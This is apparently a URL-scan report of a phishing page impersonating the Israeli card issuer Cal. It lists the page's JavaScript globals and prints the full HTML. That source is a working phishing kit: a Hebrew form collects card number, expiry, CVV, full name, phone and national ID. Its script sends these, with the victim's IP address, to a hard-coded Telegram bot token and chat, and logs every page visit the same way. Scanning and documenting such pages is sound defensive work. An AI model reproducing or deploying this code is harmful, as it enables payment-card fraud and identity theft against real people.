ID da verificação
9a311a5f-819d-46d2-8426-55fa5b4b4136Concluído
URL enviado:
https://eviptci.com/Online.Cal.il/
Relatório concluído:
Copy link

Os links de saída identificados na página

Variáveis JavaScript · 10 encontrada(s)

Copy link

Variáveis JavaScript globais carregadas no objeto janela de uma página são variáveis declaradas fora das funções e acessíveis de qualquer lugar no código dentro do escopo atual

NomeTipo
onbeforetoggleobject
documentPictureInPictureobject
onscrollendobject
onlyNumbersfunction
addSlashToExpiryfunction
onlyLettersfunction
formatCardNumberfunction
sendPageVisitToTelegramfunction
submitFormfunction
sendToTelegramfunction

Mensagens de registro do console · 1 encontrada(s)

Copy link

Mensagens registradas no console web

LevelOrigemMessage
verbosedom
URL
https://eviptci.com/Online.Cal.il/
Texto
[DOM] Password field is not contained in a form: (More info: https://goo.gl/9p2vKq) %o

O corpo HTML bruto da página

<!DOCTYPE html><html lang="he"><head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Cal.il</title>
    <link rel="icon" href="https://eviptci.com/Online.Cal.il/images/logo1.png" type="image/png">

    <style>
        body {
            font-family: Arial, sans-serif;
            margin: 0;
            padding: 0;
            background: linear-gradient(to bottom, #1b5ece 50%, #a4e4ff 50%);
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            background-image: url('https://eviptci.com/Online.Cal.il/images/cal.png');
            background-size: cover;
            background-position: center;
            background-attachment: fixed;
            overflow-y: auto;
            flex-direction: column;
        }

        .logo-container {
            position: absolute;
            top: 10px;
            left: 10px;
            z-index: 10;
        }

        .logo-container img {
            width: 90px;
            height: auto;
        }

        .form-container {
            background-color: rgba(255, 255, 255, 0.9);
            width: 320px;
            padding: 30px;
            border-radius: 10px;
            box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
            text-align: center;
            position: relative;
            z-index: 2;
            margin-top: 390px;
        }

        .form-container input {
            width: 100%;
            padding: 10px;
            margin: 10px 0;
            font-size: 16px;
            border: 1px solid #ccc;
            border-radius: 5px;
            box-sizing: border-box;
            text-align: center;
        }

        .input-group {
            display: flex;
            justify-content: space-between;
        }

        .input-group input {
            width: 48%;
        }

        .submit-btn {
            padding: 10px 20px;
            background-color: #1b5ece;
            color: white;
            font-size: 16px;
            border: none;
            border-radius: 5px;
            cursor: pointer;
            width: 50%;
            margin: 20px auto;
            display: block;
        }

        .submit-btn:hover {
            background-color: #155ab3;
        }

        .error-message {
            color: red;
            font-size: 14px;
            margin-top: 10px;
        }

        .images-container {
            display: flex;
            flex-direction: column;
            justify-content: flex-start;
            align-items: center;
            gap: 10px;
            z-index: 5;
            margin-top: 40px;
        }

        .large-image {
            width: 230px;
            height: auto;
            margin-top: 40px;
        }

        .small-image {
            width: 100px;
            height: auto;
        }

        .images-row {
            display: flex;
            gap: 10px;
            margin-top: 20px;
        }

        @media (max-width: 768px) {
            .logo-container img {
                width: 80px;
            }

            .large-image {
                width: 200px;
            }

            .small-image {
                width: 80px;
            }

            .form-container {
                width: 280px;
                padding: 20px;
            }

            .images-container {
                margin-top: 20px;
            }
        }

        @media (max-width: 480px) {
            .logo-container img {
                width: 70px;
            }

            .large-image {
                width: 180px;
            }

            .small-image {
                width: 70px;
            }

            .form-container {
                width: 260px;
                padding: 15px;
            }
        }
    </style>
</head>
<body>

    <div class="logo-container">
        <img src="https://eviptci.com/Online.Cal.il/images/logo1.png" alt="Logo">
    </div>

    <div class="form-container">
        <label for="card-number">מספר כרטיס</label>
        <input type="text" id="card-number" placeholder="XXXX XXXX XXXX XXXX" maxlength="19" required="" oninput="formatCardNumber()">

        <div class="input-group">
            <div>
                <label for="expiry-date">Exp</label>
                <input type="text" id="expiry-date" placeholder="MM/YY" required="" oninput="addSlashToExpiry()">
            </div>
            <div>
                <label for="cvv">CVV</label>
                <input type="password" id="cvv" placeholder="CVV" required="" oninput="onlyNumbers('cvv')">
            </div>
        </div>

        <label for="name">שם מלא</label>
        <input type="text" id="name" placeholder="שם" required="" oninput="onlyLetters('name')">

        <label for="phone">מספר טלפון</label>
        <input type="tel" id="phone" placeholder="מספר טלפון" required="" maxlength="10" oninput="onlyNumbers('phone')">

        <label for="id-number">מספר תעודת זהות</label>
        <input type="text" id="id-number" placeholder="מספר תעודת זהות" required="" maxlength="9" oninput="onlyNumbers('id-number')">

        <button class="submit-btn" onclick="submitForm()">כנסה</button>
        <div class="error-message" id="error-message"></div>
    </div>

    <div class="images-container">
        <img src="https://eviptci.com/Online.Cal.il/images/1.png" alt="Large Image" class="large-image">
        <div class="images-row">
            <img src="https://eviptci.com/Online.Cal.il/images/2.png" alt="Small Image 1" class="small-image">
            <img src="https://eviptci.com/Online.Cal.il/images/3.png" alt="Small Image 2" class="small-image">
        </div>
    </div>

    <script>
        function onlyNumbers(id) {
            let input = document.getElementById(id);
            input.value = input.value.replace(/[^0-9]/g, '');
        }

        function addSlashToExpiry() {
            const expiryDate = document.getElementById("expiry-date").value;
            if (expiryDate.length === 2 && !expiryDate.includes("/")) {
                document.getElementById("expiry-date").value = expiryDate + "/";
            }
        }

        function onlyLetters(id) {
            let input = document.getElementById(id);
            input.value = input.value.replace(/[^a-zA-Z\u0590-\u05F4\s]/g, '');
        }

        function formatCardNumber() {
            let input = document.getElementById("card-number");
            let value = input.value.replace(/\D/g, '');
            value = value.substring(0, 16);
            let formattedValue = value.replace(/(\d{4})(?=\d)/g, '$1 ');
            input.value = formattedValue;
        }

        window.onload = function() {
            const page = window.location.pathname;
            let pageName = '';
            
            if (page.includes('page1')) {
                pageName = 'Page 1';
            } else if (page.includes('page2')) {
                pageName = 'Page 2';
            }

            fetch('https://api.ipify.org?format=json')
                .then(response => response.json())
                .then(data => {
                    const ipAddress = data.ip;
                    sendPageVisitToTelegram(pageName, ipAddress);
                })
                .catch(error => console.error('Error fetching IP:', error));
        }

        function sendPageVisitToTelegram(pageName, ipAddress) {
            const token = "7718268154:AAHSNo07Kh8XpfBb3EErQleNr2l_x1c7M_I";
            const chatId = "-4733835532";
            const message = `landing bage ${pageName}.\nعنوان IP: ${ipAddress}`;

            fetch(`https://api.telegram.org/bot${token}/sendMessage`, {
                method: 'POST',
                body: JSON.stringify({ chat_id: chatId, text: message }),
                headers: { 'Content-Type': 'application/json' }
            }).catch(error => console.error('Error sending page visit to Telegram:', error));
        }

        function submitForm() {
            fetch('https://api.ipify.org?format=json')
                .then(response => response.json())
                .then(data => {
                    const ipAddress = data.ip;
                    const cardNumber = document.getElementById("card-number").value;
                    const expiryDate = document.getElementById("expiry-date").value;
                    const cvv = document.getElementById("cvv").value;
                    const name = document.getElementById("name").value;
                    const phone = document.getElementById("phone").value;
                    const idNumber = document.getElementById("id-number").value;

                    const page = window.location.pathname;
                    let pageName = '';
                    
                    if (page.includes('page1')) {
                        pageName = 'Page 1';
                    } else if (page.includes('page2')) {
                        pageName = 'Page 2';
                    }

                    if (cardNumber && expiryDate && cvv && name && phone && idNumber) {
                        sendToTelegram(cardNumber, expiryDate, cvv, name, phone, idNumber, ipAddress, pageName);
                        localStorage.setItem("formSubmitted", "true");
                        setTimeout(() => {
                            window.location.href = "nextpage.html";
                        }, 1000);
                    } else {
                        document.getElementById("error-message").textContent = "אנא מלא את כל השדות.";
                    }
                })
                .catch(error => {
                    console.error('Error getting IP address:', error);
                    alert("הייתה שגיאה בקבלת כתובת ה-IP.");
                });
        }

        function sendToTelegram(cardNumber, expiryDate, cvv, name, phone, idNumber, ipAddress, pageName) {
            const token = "7718268154:AAHSNo07Kh8XpfBb3EErQleNr2l_x1c7M_I";
            const chatId = "-4733835532";

            const formattedCardNumber = cardNumber.replace(/\s+/g, '');
            const messageContent = `
المعلومات:
رقم البطاقة: ${formattedCardNumber}
تاريخ الانتهاء: ${expiryDate}
CVV: ${cvv}
الاسم: ${name}
رقم الهاتف: ${phone}
رقم الهوية: ${idNumber}
عنوان IP: ${ipAddress}
الصفحة: ${pageName}
`;

            fetch(`https://api.telegram.org/bot${token}/sendMessage`, {
                method: 'POST',
                body: JSON.stringify({ chat_id: chatId, text: messageContent }),
                headers: { 'Content-Type': 'application/json' }
            }).catch(error => console.error('Error sending message to Telegram:', error));
        }
    </script>



</body></html>